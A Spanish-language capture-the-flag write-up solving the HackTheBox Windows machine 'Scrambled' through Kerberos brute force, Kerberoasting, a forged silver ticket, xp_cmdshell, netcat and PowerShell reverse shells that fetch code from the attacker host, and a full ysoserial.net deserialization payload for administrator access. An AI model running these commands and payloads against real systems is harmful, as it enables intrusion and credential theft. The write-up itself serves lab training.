# Scrambled - HackTheBox

Máquina **Windows** de nivel medio bastante compleja, tendremos que enumerar utilizando una gran cantidad de herramientas **Impacket**. Habilitaremos ***xp*cmdshell** en la base de datos sql para ejecutar comandos y obtener una shell inversa. Nos migraremos a otro usuario tras encontrar credenciales en la base de datos y escalaremos privilegios a través de una **deserialización .NET** usando la herramienta **ysoserial.**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725021893823/a10cd1f2-0577-415a-8454-800ac16cdf3c.webp align="center")

---

# Reconocimiento

## Reconocimiento de Puertos

Como de costumbre antes de comenzar a escanear los puertos de la máquina lanzo la utilidad ***WhichSystem.py*** para detectar el sistema operativo de la máquina víctima.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725021934477/0c888356-2350-40b3-b2ff-c07fd79a106a.webp align="center")

Estamos ante una máquina Windows, y ahora que lo sabemos ya procedo a escanear puertos.

```bash
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
4411/tcp  open  found
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49700/tcp open  unknown
49704/tcp open  unknown
50852/tcp open  unknown
```

  
Tenemos un listado de puertos muy amplio, pero aún necesito más información de los mismos, así que lanzo un escaneo más avanzado.  
Al ser tantos puertos uso la utilidad **extractPorts** para copiarlos al portapapeles.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725021969493/9b6ed101-6672-49dc-894e-a46d93d5b502.webp align="center")

Una vez copiados lanzo el escaneo de **nmap**.

```bash
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-08 00:45:36Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-10-08T00:28:20
|_Not valid after:  2052-10-08T00:28:20
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after:  2023-06-09T15:30:57
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
50852/tcp open  msrpc         Microsoft Windows RPC
Host script results:
| smb2-time: 
|   date: 2022-10-08T00:48:06
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| ms-sql-info: 
|   10.10.11.168:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
```

```bash
| Puerto | Servicio | Versión |
| :----- | :------- | :------ |
| 88     | Kerberos | Microsoft Windows Kerberos |
| 389    | LDAP     | Microsoft Windows Active Directory LDAP |
| 1433   | ms-sql-s | Microsoft SQL Server 2019 |
| 4411   | ¿SERVIDOR WEB? | SCRAMBLECORP |
```

> Dominio scrm.local y dc1.scrm.local.
> 
> Lo añadimos al etc/hosts.

---

## Enumeración SMB

Para comenzar lanzo **crackmapexec** para enumerar un poco el protocolo **SMB** y saber a que me enfrento.

```bash
❯ crackmapexec smb 10.10.11.168
SMB         10.10.11.168    445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
```

No nos detecta ni el nombre, ni el dominio, el SMB esta firmado... pero no detecta nada

  
Así que voy a probar a listar recursos con **smbclient** usando una **null session** ya que no dispongo de credenciales.

```bash
❯ smbclient -L 10.10.11.168 -N
session setup failed: NT_STATUS_NOT_SUPPORTED
```

Pero nos arroja el error **NT\_STATUS\_NOT\_SUPPORTED** que no es que el acceso sea denegado, sino que no está soportado... algo bastante extraño así que voy a buscar [información al respecto.](https://pw999.wordpress.com/2018/01/04/session-setup-failed-nt_status_not_supported/)

> Este error es debido a que el NTLM está restringido en la máquina víctima.

Por lo tanto algunos ataques que podríamos efectuar en principio ya no podríamos efectuarlos, ya que el **NTLM** está restringido.

  
A continuación, ya que no puedo enumerar **smb** ni tengo ningún hilo del que tirar, voy a tratar de obtener usuarios a través de **Kerberos**.

---

## Enumeración de usuarios vía Kerberos**🕵️‍♂️**

Con la herramienta **kerbrute** puedo tratar de buscar usuarios válidos usando una lista de palabras.

  
Usaré las [listas de usuarios de este repositorio](https://github.com/attackdebris/kerberos_enum_userlists), ya que está enfocado para la enumeración de usuarios a través de **Kerberos**.

```bash
./kerbrute userenum -d scrm.local --dc 10.10.11.168 /opt/kerberos_enum_userlists/A-ZSurnames.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022169216/fdff218d-29ac-4e61-946f-4874fb0c5c88.webp align="center")

Obtenemos varios usuarios, por lo tanto teniendo usuarios podríamos desplegar el ataque `ASREPRoast` para intentar conseguir el ***hash NTLM*** de alguno de los usuarios, así que me copio los usuarios en un archivo de texto antes de proceder al ataque.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022204955/ef491928-7d71-465c-9eed-601b5c77ffbe.webp align="center")

Y lanzamos el ataque **ASREPRoast** con la utilidad ***GETNPUsers.py*** de la **Suite** **Impacket**.

```bash
python3 GetNPUsers.py -usersfile /home/elc4br4/HTB/Scramble/users -dc-ip 10.10.11.168 scrm.local/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022229396/1572fd15-b6e3-4fe2-ba60-95b76d710cc4.webp align="center")

Pero no ha habido suerte, no nos arroja ningún **hash**, y esto es debido a lo que vimos anteriormente de que el **NTLM** estaba restringido.

  
Pero a través de **kerbrute** también podemos hacer fuerza bruta a las contraseñas de cada uno de los usuarios que hemos encontrado.

---

## Ataque de Fuerza Bruta**🏋️‍♂️**

En este caso antes de probar con un diccionario grande como es el caso de ***rockyou.txt*** voy a probar como diccionario de contraseñas el propio archivo de usuarios, por si se estuviera reutilizando un usuario como contraseña.

  
Voy probando con cada uno de los usuarios y encuentro lo siguiente:

```bash
./kerbrute bruteuser --dc 10.10.11.168 -d scrm.local ./users ksimpson
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022290396/506a1992-1761-4464-8943-f68c9bce60ce.webp align="center")

> Tenemos una contraseña válida `ksimpson:ksimpson`

Llegados a este punto que ya tenemos credenciales válidas podríamos intentar solicitar un ***ticket (TGT - Ticket Granting Ticket)*** para poder autenticarnos por **Kerberos**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022332724/4c7791f2-1c83-45d9-8fb4-fc0421c6f994.webp align="center")

Una vez lanzamos el comando conseguimos el ticket, y con este ticket podríamos conseguir el hash de algún usuario.

  
Lo hago a través de Kerberos ya que tenemos el NTLM restringido.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022342156/ba25dd37-4905-477a-92be-2c33c47b1f4f.webp align="center")

Lo lanzamos pero me arroja un error, buscando en internet encuentro lo siguiente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022350810/c22eb9f1-b2ec-48bf-9d67-1b27f9de751f.webp align="center")

> Debemos editar la línea 255 del script GetUsersSPNs.py

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022370057/dae6f38e-0313-4998-95bf-92f21de0c680.webp align="center")

Una vez editado el archivo lo lanzamos de nuevo de la misma forma que anteriormente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022377808/e10d7d69-4566-4ffe-b3d0-c9a5e9cad7e0.webp align="center")

Y obtenemos un hash (krb5tgs) del usuario sqlsvc que parece ser un usuario del servidor SQL.

  
De esta forma podemos copiarnos el hash e intentar crackearlo con john o hashcat.  
Yo lo crackearé con hashcat.

> `hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt`  

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022405964/6d9abb44-e4a6-408e-a5d5-a4372a824654.webp align="center")

Recopilo los datos que tenemos de momento.

> ksimpson:ksimpson
> 
> sqlsvc:Pegasus60

Intento loguearme en el servidor sql a través de la herramienta ***mssqlclient.py*** generando un hash NTLM a partir de la contraseña encontrada.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022437086/cd7f6fc3-dba0-4cff-a448-a10b557c9107.webp align="center")

De forma que intento loguearme a través del hash NTLM creado pero no funciona.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022446442/9aa1e702-9198-425c-87b6-c270cfd5b74a.webp align="center")

Este error es debido a la restricción **NTLM**.

---

# Silver Ticket

De forma que la única opción de loguearse es a través de Kerberos pero claro, necesitamos crear un **ticket (Silver Ticket)** con toda la información que tenemos al respecto.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022471706/889ae236-6fde-4af6-98f9-9f13de427f97.webp align="center")

Me vuelve a arrojar un error, me pide el `domain sid` del dominio.

  
Para conseguir el ***domain sid*** del dominio puedo usar la herramienta **secretsdump** de la suite impacket.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022489339/79f8590d-eaaf-46f8-a203-421f7588058c.webp align="center")

Ahora que ya tenemos el SID del dominio podemos intentar obtener el ticket.

```bash
impacket-ticketer -domain scrm.local -spn MSSQLSVC/dc1.scrm local -user-id 500 Administrator -nthash¿? -domain-sid ¿?
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022507912/0740d788-a62e-461f-985c-30ea89034abe.webp align="center")

Ahora que ya hemos podido crear el **ticket (Silver Ticket)**, podríamos intentar autenticarnos a sql a través de **mssqlclient** por **Kerberos**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022528782/c1fba7c5-3335-49fe-96c1-a8ca9acf47f3.webp align="center")

Y ya estamos autenticados en el servidor SQL.

---

# SQL

Pruebo a inspeccionar que hay dentro de la base de datos.

  
1\. Listamos las bases de datos

> `select name from master.sys.databses`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022553443/fb7718b8-ef3e-4dbb-b97e-d66e7f8e0a30.webp align="center")

2. Vemos que una de las bases de datos se llama **ScrambleHR**, es la más llamativa de todas así que accedo a ella.
    

> `use ScrambledHR`

3. Listamos las tablas que hay dentro de la base de datos ScrambleHR
    

> `select name from information_schema.tables`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022598215/e76f5c4c-64cf-49ba-acb2-475a0653593a.webp align="center")

4. Listamos el contenido de la tabla **UserImport**
    
    > `SELECT * from UserImport`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022627296/4199138d-8ff2-4205-a0d3-fc3f706fc6d9.webp align="center")
    
    Y encuentro el usuario **<mark>miscsvc </mark>** y la contraseña **<mark>ScrambledEggs9900</mark>**
    
    > <mark>miscsvc:ScrambledEggs9900</mark>
    
    Pero además de eso, después de obtener las credenciales lanzo el comando help para ver que utilidades hay en la base de datos y encuentro algo que me alegra el día por completo!!!Pero además de eso, después de obtener las credenciales lanzo el comando help para ver que utilidades hay en la base de datos y encuentro algo que me alegra el día por completo!!!
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022670651/0fa068e5-504c-41a7-9ca2-fd45122d0d76.webp align="center")

Tenemos la opción de habilitar **xp\_cmdshell** que nos permitiría ejecutar comandos en el sistema.

> [Para el que quiera saber más acerca de esta utilidad.](https://www.sqlshack.com/use-xp-cmdshell-extended-procedure/)

  
Lo activamos con el comando ***xp-cmdshell.***

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022716593/476a1a4a-c04e-4638-8540-6dd8dc1c5fe1.webp align="center")

Y una vez activado probamos a ejecutar algún comando, en este caso lanzo el comando **whoami**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022726267/8bda51b3-88f7-4ecb-9802-a5fe3dec3171.webp align="center")

Como podemos ver nos ejecuta el comando y nos devuelve la salida al mismo, así que voy a probar a entablar una ***reverse shell***.

---

## Reverse Shell**🔄**

Lo primero será subir el **netcat** a la máquina víctima a través de un servidor python3.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022773466/0824470f-0c47-49c9-843e-594c109f5d71.webp align="center")

A continuación pongo un oyente de **netcat** en escucha en el puerto 443.

  
Y lanzo el siguiente comando para ejecutar la *reverse shell* desde el servidor sql usando el ejecutable **nc.exe.**

* En mi máquina atacante:
    

> `nc -lnvp 443`

* En el servidor SQL:
    

> `xp_cmdshell C:\Temp\nc.exe -e powershell 10.10.14.2 443`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022855063/98e6a1a6-cabd-4741-84c1-a02b7090bb74.webp align="center")

Y obtenemos la conexión inversa.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022860904/ec2439e9-6187-4308-9046-60ce51aaa739.webp align="center")

  
Intento leer la flag user.txt pero no puedo, porque estoy logueado como el usuario **sqlsvc**.  
Así que me toca migrarme al usuario **miscsvc**.

---

# Movimiento Lateral - Usuario miscsvc

Usando las credenciales obtenidas intentaré convertirme en el usuario miscsvc.

  
Podría crear unas credenciales en Powershell y después intentar lanzar una reverse shell:  

* Creo las credenciales
    
    ```powershell
    
    $password = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
    
    $creds = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $password)
    ```
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022939457/3538ca95-f0b3-4793-a150-9d4bc0537989.webp align="center")

* Después me abro un oyente en netcat en mi máquina atacante.
    

> `nc -lnvp 8888`

* Una vez estamos en escucha pruebo a lanzar una rev shell en powershell que he descargado del repositorio de **Nishang,** pero antes debemos editarla.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725022990729/e0431359-39b6-4cd3-af9c-d280d6e07812.webp align="center")

* Una vez editada lanzamos el comando:
    

```powershell
Invoke-Command -Computer dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2:8080/Invoke-PowerShellTcp.ps1') } -Credential $creds
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023014456/6f6b3dd1-8926-4d5d-bbbd-7f9231c7469d.webp align="center")

Y ya nos hemos podido convertir en el usuario **miscsvc**, por lo tanto podemos leer la flag de usuario.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023025741/976b4ee8-06ac-4d23-bf8c-d4890cce8ab4.webp align="center")

Continuo enumerando un poco la máquina y encuentro un par de recursos compartidos a los que tengo acceso.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023041540/e870798b-3545-40a2-87a9-8ad3ca285100.webp align="center")

Así que uso la utilidad **smbclient** para descargar estos dos archivos y posteriormente analizar el .exe con **dnSpy**.

  
Pero en esta ocasión antes de nada, voy a tener que compartir la VPN de HTB con el sistema Windows para poder continuar, a través de la técnica `IP FORWARDING`

---

# IP forwarding

```powershell
* ip máquina atacante Linux --> 192.168.213.128 NAT

* ip máquina Windows --> 192.168.213.131 NAT
```

Una vez tenemos las ip´s de las máquinas ejecutamos los siguientes comandos:

```bash
# Linux Atacante
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s 192.168.213.0/24 -o tun0 -j MASQUERADE 
----------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------
# Windows
route add 10.10.10.0 mask 255.255.254.0 192.168.213.218
```

Una vez realizamos los pasos hacemos ping desde Windows a la máquina víctima 10.10.11.168 y hay respuesta, he convertido la máquina Linux en un router y puedo compartir la vpn con la máquina Windows.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023107720/f6285a7e-b743-4368-8734-e4dd5af84fc3.webp align="center")

---

# Escalada de privilegios - Usuario Administrador

## ScrambleClient.exe**💻**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023138297/d6faf6ff-5282-4ff5-b5ae-c473ac97faf0.webp align="center")

Analizando el código encuentro un usuario.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023181542/b7f5ebb9-571c-4d7c-a700-bba1d6d766d6.webp align="center")

Tengo el usuario scrmdev asique pruebo a autenticarme sin contraseña.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023193413/57c8de22-ff8d-4638-9119-6fd7cb5d2c85.webp align="center")

Y consigo autenticarme y acceder.

  
Una vez dentro tenemos lo siguiente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023204105/19c076fc-772b-4c66-904d-798ca085c3d0.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023207632/bf00d92c-8c68-49ac-8483-76f40c1e0f72.webp align="center")

Debemos habilitar el debugging y crearemos un nuevo order.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023215123/d1c4ab59-08c1-406d-bd05-5560be418553.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023217537/8d46daa8-de3a-4766-a21a-524ad129ea81.webp align="center")

Una vez creado cerramos el programa, lo volvemos a abrir, y leemos el archivo ***debug*** que se genera y encontramos lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023230731/b662ed13-609b-401c-a1ee-fec8548da4f9.webp align="center")

Hay data encodeada en base64, asique probaré a decodificar la última cadena.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023238789/fd99821a-32df-4a21-ae01-900683f78438.webp align="center")

La aplicación envía los datos en formato base64 serializado. Entonces, la aplicación realiza la deserialización de su lado.

* Serialización a Base64.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023265607/3f6f6be3-23ad-479f-8e83-7cbecacb5cb2.webp align="center")

* Desearialización de Base64
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023297065/522f9ca9-a711-480e-a1b8-644ff5900020.webp align="center")

Por lo tanto si conseguimos serializar una reverse shell, ponernos en escucha en el puerto donde se ejecuta la herramienta e introducir la data serializada podríamos obtener acceso al sistema como Administrador, ya que la aplicación se ejecuta bajo los permisos del mismo.

  
Realizaré un ataque de Desearialización .NET, y buscando encuentro [este artículo](https://vbscrub.com/2020/02/05/net-deserialization-exploits-explained).

Para poder realizar este payload serializado usaré la herramienta ***<mark>ysoserial.net</mark>*** que podemos descargar desde el [repositorio de github](https://github.com/pwntester/ysoserial.net/releases).

Una vez descargada, desde powershell o cmd la ejecutaremos para serializar el payload con el siguiente comando.

```powershell
C:\Users\W10_CFC\Desktop\Release> ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\netcat.exe -e powershell 10.10.14.4 443"
```

Y se nos generará serializado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023360371/b8f756ec-cd9d-4cd7-9883-10a6ad6532c7.webp align="center")

Una vez serializado nos ponemos en escucha en el puerto 443 (que es el que yo he configurado antes de serializar el comando).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023369533/cccc17e9-37e3-46d3-922a-a3ac81e3c250.webp align="center")

En otra ventana en el cmd nos podemos en escucha en el puerto 4411 que es donde se ejecuta la herramienta e introducimos la data serializada de la siguiente forma.

  
Debemos añadir delante de la data: UPLOAD\_ORDER;dataserializada.

```powershell
# DATA SERIALIZADA
------------------
C:\Users\W10_CFC\Desktop>nc.exe 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA+AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUVNNlhGUmxiWEJjYm1NdVpYaGxJQzFsSUhCdmQyVnljMmhsYkd3Z01UQXVNVEF1TVRRdU5DQTBORE1pSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0L
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023410400/831b0b38-505f-4d81-99ea-2343b9b92342.webp align="center")

Le damos **ENTER** y tenemos la conexión inversa

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023419612/9cdaff31-2d53-46f6-96c7-9b162f4b6b8b.webp align="center")

Y ya podemos leer la flag root.txt

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023426790/40e79fd2-5f27-42cb-8049-09e8128e84a6.webp align="center")

> MÁQUINA PWNEADA!!!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1725023436742/ad1cac56-d4e3-46aa-a5d2-1859abe68014.webp align="center")
